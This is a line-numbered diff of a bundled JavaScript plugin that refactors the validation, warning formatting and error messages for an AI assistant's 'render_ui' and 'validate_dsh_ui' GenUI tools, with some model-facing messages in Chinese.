1559
|
-
* Visit chart nodes through the component-bearing containers understood by
|
|
1560
|
-
* the GenUI guard. This deliberately does not recursively inspect arbitrary
|
|
1561
|
-
* objects (for example `json.value` or `echart.option`), where a nested
|
|
1562
|
-
* `{type:"chart"}` is data rather than a GenUI node.
|
|
1563
|
-
*/
|
|
1564
|
-
function visitChartNodes(value, visit) {
|
|
1565
|
-
function walkNode(value, at) {
|
|
1566
|
-
const node = obj(value);
|
|
1567
|
-
if (node === void 0 || typeof node.type !== "string") return;
|
|
1568
|
-
if (node.type === "chart") visit(node, at);
|
|
1569
|
-
if ((node.type === "row" || node.type === "col" || node.type === "grid" || node.type === "card") && Array.isArray(node.items)) {
|
|
1570
|
-
walk(node.items, `${at}.items`);
|
|
1571
|
-
return;
|
|
1572
|
-
}
|
|
1573
|
-
if (node.type === "tabs" && Array.isArray(node.tabs)) {
|
|
1574
|
-
for (let index = 0; index < node.tabs.length; index++) {
|
|
1575
|
-
const tab = obj(node.tabs[index]);
|
|
1576
|
-
if (tab === void 0) continue;
|
|
1577
|
-
const items = tab.items !== void 0 ? tab.items : tab.content;
|
|
1578
|
-
if (Array.isArray(items)) walk(items, `${at}.tabs[${index}].items`);
|
|
1579
|
-
else walkNode(items, `${at}.tabs[${index}].items`);
|
|
1580
|
-
}
|
|
1581
|
-
return;
|
|
1582
|
-
}
|
|
1583
|
-
if (node.type === "accordion" && Array.isArray(node.items)) {
|
|
1584
|
-
for (let index = 0; index < node.items.length; index++) {
|
|
1585
|
-
const item = obj(node.items[index]);
|
|
1586
|
-
if (item === void 0) continue;
|
|
1587
|
-
const items = item.items !== void 0 ? item.items : item.content;
|
|
1588
|
-
if (Array.isArray(items)) walk(items, `${at}.items[${index}].items`);
|
|
1589
|
-
else walkNode(items, `${at}.items[${index}].items`);
|
|
1590
|
-
}
|
|
1591
|
-
return;
|
|
1592
|
-
}
|
|
1593
|
-
if (node.type === "list" && Array.isArray(node.items)) for (let index = 0; index < node.items.length; index++) walkNode(node.items[index], `${at}.items[${index}]`);
|
|
1594
|
-
}
|
|
1595
|
-
function walk(list, path) {
|
|
1596
|
-
if (!Array.isArray(list)) return;
|
|
1597
|
-
for (let index = 0; index < list.length; index++) walkNode(list[index], `${path}[${index}]`);
|
|
1598
|
-
}
|
|
1599
|
-
const root = obj(value);
|
|
1600
|
-
if (root === void 0) return;
|
|
1601
|
-
if (!Array.isArray(root.items) && root.type === "chart") walkNode(root, "spec");
|
|
1602
|
-
else walk(root.items, "items");
|
|
1603
|
-
}
|
|
1604
|
-
/**
|
|
1605
|
-
* Validate the native chart contract all the way to something the renderer
|
|
1606
|
-
* can actually draw. The shared guard still owns field/type validation; this
|
|
1607
|
-
* layer adds renderer-specific invariants that would otherwise produce an
|
|
1608
|
-
* empty line/donut chart or a grouped-bars shell with no points.
|
|
1609
|
-
*/
|
|
1610
|
-
function validateRenderableChartSemantics(value) {
|
|
1611
|
-
const errors = validateGenuiChartSemantics(value);
|
|
1612
|
-
visitChartNodes(value, (node, at) => {
|
|
1613
|
-
const kind = node.kind === void 0 ? "bars" : node.kind;
|
|
1614
|
-
if (Array.isArray(node.data) && node.data.length === 0) errors.push(`${at}.data must not be empty`);
|
|
1615
|
-
if (Array.isArray(node.series)) {
|
|
1616
|
-
if (node.series.length === 0) errors.push(`${at}.series must not be empty`);
|
|
1617
|
-
for (let index = 0; index < node.series.length; index++) {
|
|
1618
|
-
const series = obj(node.series[index]);
|
|
1619
|
-
if (series !== void 0 && Array.isArray(series.data) && series.data.length === 0) errors.push(`${at}.series[${index}].data must not be empty`);
|
|
1620
|
-
}
|
|
1621
|
-
}
|
|
1622
|
-
if (kind === "line" || kind === "donut") {
|
|
1623
|
-
if (node.series !== void 0) errors.push(`${at}.series is only supported for bars`);
|
|
1624
|
-
if (node.data === void 0) errors.push(`${at}.data is required for ${kind}`);
|
|
1625
|
-
}
|
|
1626
|
-
});
|
|
1627
|
-
return errors;
|
|
1628
|
-
}
|
|
1629
|
-
//#endregion
|
|
1630
2548
|
//#region src/plugin/tool.ts
|
|
1631
2549
|
/**
|
|
1632
2550
|
* Arguments schema: an open `spec` slot. The schema must NOT reject anything
|
|
@@ -1731,17 +2649,37 @@ function parseSpecJson(raw, shape) {
|
|
|
1731
2649
|
return;
|
|
1732
2650
|
}
|
|
1733
2651
|
}
|
|
1734
|
-
/**
|
|
1735
|
-
|
|
1736
|
-
|
|
1737
|
-
|
|
1738
|
-
|
|
1739
|
-
|
|
2652
|
+
/** Process a raw tool value once for all render-time decisions. */
|
|
2653
|
+
function processRenderableValue(value) {
|
|
2654
|
+
return processGenuiSpec(value);
|
|
2655
|
+
}
|
|
2656
|
+
/** Render process diagnostics as stable model-facing warning lines. */
|
|
2657
|
+
function formatProcessWarnings(processed) {
|
|
2658
|
+
return processed.warnings.map((warning) => {
|
|
2659
|
+
if (warning.kind === "alias" && warning.canonical !== void 0) {
|
|
2660
|
+
const separator = warning.path.lastIndexOf(".");
|
|
2661
|
+
const canonicalPath = `${separator < 0 ? "" : warning.path.slice(0, separator + 1)}${warning.canonical}`;
|
|
2662
|
+
return warning.message.includes("ignored") ? `⚠️ 已忽略别名字段:${warning.path} → ${canonicalPath}(ignored because canonical field '${warning.canonical}' is present)` : `⚠️ 已规范化字段:${warning.path} → ${canonicalPath}(normalized/adopted as '${warning.canonical}')`;
|
|
2663
|
+
}
|
|
2664
|
+
return `⚠️ ${warning.message}`;
|
|
2665
|
+
});
|
|
2666
|
+
}
|
|
2667
|
+
/** Format chart-specific process errors while keeping other schema errors generic. */
|
|
2668
|
+
function formatProcessFailure(processed) {
|
|
2669
|
+
const chartErrors = processed.errors.filter((error) => /(?:variant is unsupported|kind must be bars, line, or donut|requires data or series|(?:data|series) is required for|(?:\.data|\.series)(?:\[\d+\])?(?:\.(?:data|label|value|color))? must|series is only supported for bars)/.test(error));
|
|
2670
|
+
return chartErrors.length === 0 ? void 0 : `❌ chart 字段验证失败:\n- ${chartErrors.join("\n- ")}`;
|
|
2671
|
+
}
|
|
2672
|
+
/** Return the legacy validation text for a process that dropped native nodes. */
|
|
2673
|
+
function droppedNodeFailure(processed) {
|
|
2674
|
+
if (!processed.errors.some((error) => error.startsWith("repair dropped "))) return void 0;
|
|
2675
|
+
const dropped = processed.declaredNativeCount - processed.renderedNativeCount;
|
|
2676
|
+
return `❌ 验证未通过:检测到声明了 ${processed.declaredNativeCount} 个组件,但仅成功解析出 ${processed.renderedNativeCount} 个(有 ${dropped} 个组件因字段格式异常被丢弃)。常见原因:table 的 columns/rows 不是二维字符串数组、tabs 的 items/content 缺失、嵌套组件字段类型不符。请修正后重新验证。`;
|
|
1740
2677
|
}
|
|
1741
2678
|
/** Tool-call title shared by the pending and completed presentations. */
|
|
1742
2679
|
function cardTitle(args) {
|
|
1743
|
-
const
|
|
1744
|
-
|
|
2680
|
+
const processed = processRenderableValue(specOf(args));
|
|
2681
|
+
if (!isRenderableProcess(processed) || processed.spec === null) return void 0;
|
|
2682
|
+
return `渲染 UI:${processed.spec.title ?? "未命名"}`;
|
|
1745
2683
|
}
|
|
1746
2684
|
/**
|
|
1747
2685
|
* Build the render_ui tool definition. Registered by the plugin node half;
|
|
@@ -1761,16 +2699,18 @@ function createRenderUiTool() {
|
|
|
1761
2699
|
}];
|
|
1762
2700
|
},
|
|
1763
2701
|
presentationMeta(args) {
|
|
1764
|
-
|
|
2702
|
+
const processed = processRenderableValue(specOf(args));
|
|
2703
|
+
return isRenderableProcess(processed) ? processed.spec : null;
|
|
1765
2704
|
}
|
|
1766
2705
|
},
|
|
1767
2706
|
async execute(args) {
|
|
1768
|
-
const
|
|
1769
|
-
|
|
1770
|
-
if (
|
|
1771
|
-
const
|
|
1772
|
-
|
|
1773
|
-
|
|
2707
|
+
const processed = processRenderableValue(specOf(args));
|
|
2708
|
+
if (processed.spec === null) return "render_ui:spec 无效 —— 根对象需要 \"items\" 数组(组件树白名单见系统提示词),请修正后重试。";
|
|
2709
|
+
if (!isRenderableProcess(processed)) throw new Error("render_ui spec invalid: " + processed.errors.join("; "));
|
|
2710
|
+
const title = processed.spec.title ?? "未命名";
|
|
2711
|
+
const warnings = formatProcessWarnings(processed);
|
|
2712
|
+
const warningText = warnings.length === 0 ? "" : `\n${warnings.join("\n")}`;
|
|
2713
|
+
return `已渲染 UI「${title}」(${processed.renderedCount} 个组件)。用户现在可以看到这张卡片;组件带 action 时,用户交互会以 [genui-action] 消息发回给你,届时请重新渲染更新后的界面。${warningText}`;
|
|
1774
2714
|
},
|
|
1775
2715
|
presentCall(args) {
|
|
1776
2716
|
const title = cardTitle(args);
|
|
@@ -1871,11 +2811,6 @@ function bracketDiagnostic(raw) {
|
|
|
1871
2811
|
return diffs.length === 0 ? "" : ` 括号计数:${diffs.join(";")}(长表格最易在收尾处错位,如把 ]]}]} 写成 ]}]}]})\n`;
|
|
1872
2812
|
}
|
|
1873
2813
|
const COMMON_CAUSES = "常见原因:① 收尾括号错位/缺失({ 与 }、[ 与 ] 数量不相等)② 字符串值内用了半角引号 \"(中文引语请用 “” 或 「」)③ 尾随逗号 ④ 字符串未闭合";
|
|
1874
|
-
/** Return the model-facing chart field failure for one parsed fence body. */
|
|
1875
|
-
function chartValidationFailure(value) {
|
|
1876
|
-
const errors = validateRenderableChartSemantics(value);
|
|
1877
|
-
return errors.length === 0 ? void 0 : `❌ chart 字段验证失败:\n- ${errors.join("\n- ")}`;
|
|
1878
|
-
}
|
|
1879
2814
|
/** Build the validate_dsh_ui tool definition (registered alongside render_ui). */
|
|
1880
2815
|
function createValidateDshUiTool() {
|
|
1881
2816
|
return {
|
|
@@ -1904,21 +2839,23 @@ function createValidateDshUiTool() {
|
|
|
1904
2839
|
const detail = error instanceof Error ? error.message : String(error);
|
|
1905
2840
|
const repaired = completeFenceJson(raw);
|
|
1906
2841
|
if (repaired !== null) {
|
|
1907
|
-
const
|
|
1908
|
-
const chartFailure =
|
|
2842
|
+
const processed = processRenderableValue(JSON.parse(repaired.text));
|
|
2843
|
+
const chartFailure = formatProcessFailure(processed);
|
|
1909
2844
|
if (chartFailure !== void 0) return chartFailure;
|
|
1910
|
-
if (
|
|
2845
|
+
if (processed.spec !== null && processed.errors.length === 0) {
|
|
2846
|
+
const warnings = formatProcessWarnings(processed);
|
|
2847
|
+
const warningText = warnings.length === 0 ? "" : `${warnings.join("\n")}\n`;
|
|
2848
|
+
return `❌ dsh-ui 围栏 JSON 解析失败:${detail}。\n${bracketDiagnostic(raw)}${warningText} 已自动修复 ${repaired.repairs} 处,下面是修复后的 JSON,直接作为围栏正文发出即可(无需再验证):\n\`\`\`\n${repaired.text}\n\`\`\``;
|
|
2849
|
+
}
|
|
1911
2850
|
}
|
|
1912
2851
|
return `❌ dsh-ui 围栏 JSON 解析失败:${detail}。\n${bracketDiagnostic(raw)} 自动修复未能恢复(结构损坏),请按错误信息修正后重新调用本工具验证,通过后再发出围栏。\n${COMMON_CAUSES}`;
|
|
1913
2852
|
}
|
|
1914
|
-
const
|
|
2853
|
+
const processed = processRenderableValue(parsed);
|
|
2854
|
+
const chartFailure = formatProcessFailure(processed);
|
|
1915
2855
|
if (chartFailure !== void 0) return chartFailure;
|
|
1916
|
-
|
|
1917
|
-
|
|
1918
|
-
|
|
1919
|
-
const declaredCount = countDeclaredGenuiNodes(parsed, GENUI_LIMITS.maxNodes + 1);
|
|
1920
|
-
if (declaredCount > validCount) return `❌ 验证未通过:检测到声明了 ${declaredCount} 个组件,但仅成功解析出 ${validCount} 个(有 ${declaredCount - validCount} 个组件因字段格式异常被丢弃)。常见原因:table 的 columns/rows 不是二维字符串数组、tabs 的 items/content 缺失、嵌套组件字段类型不符。请修正后重新验证。`;
|
|
1921
|
-
return `✅ dsh-ui spec 合法(${validCount} 个组件),可以发出围栏。`;
|
|
2856
|
+
if (processed.spec === null || processed.errors.length > 0) return droppedNodeFailure(processed) ?? `❌ 不是合法 GenUI spec:${processed.errors.join(";") || "根对象需要 \"items\" 数组,且每个节点 type 必须在白名单内(见系统提示词)"}。请修正后重新验证。`;
|
|
2857
|
+
const warnings = formatProcessWarnings(processed);
|
|
2858
|
+
return [`✅ dsh-ui spec 合法(${processed.renderedCount} 个组件),可以发出围栏。`, ...warnings].join("\n");
|
|
1922
2859
|
},
|
|
1923
2860
|
presentCall() {
|
|
1924
2861
|
return {
|
|
@@ -1937,8 +2874,6 @@ function createValidateDshUiTool() {
|
|
|
1937
2874
|
}
|
|
1938
2875
|
//#endregion
|
|
1939
2876
|
//#region src/plugin/index.ts
|
|
1940
|
-
/** Convention: tool guidance uses 100–199; bash's section is 104. */
|
|
1941
|
-
const GENUI_SECTION_ORDER = 105;
|
|
1942
2877
|
/**
|
|
1943
2878
|
* The mermaid/three engines ship as standalone IIFE bundles under
|
|
1944
2879
|
* `lib/assets/` and are fetched by the client ONLY when a spec needs them.
|
|
@@ -2074,7 +3009,7 @@ function bundledSkillProvider() {
|
|
|
2074
3009
|
function apply(ctx) {
|
|
2075
3010
|
ctx.systemPrompt.section({
|
|
2076
3011
|
name: "genui:fence",
|
|
2077
|
-
order:
|
|
3012
|
+
order: ctx.systemPrompt.getSectionOrder("STRUCTURED_OUTPUT"),
|
|
2078
3013
|
text: GENUI_SECTION_TEXT
|
|
2079
3014
|
});
|
|
2080
3015
|
let registered = false;
|
|
@@ -2111,4 +3046,4 @@ function apply(ctx) {
|
|
|
2111
3046
|
});
|
|
2112
3047
|
}
|
|
2113
3048
|
//#endregion
|
|
2114
|
-
export {
|
|
3049
|
+
export { GENUI_SECTION_TEXT, apply, inject };
|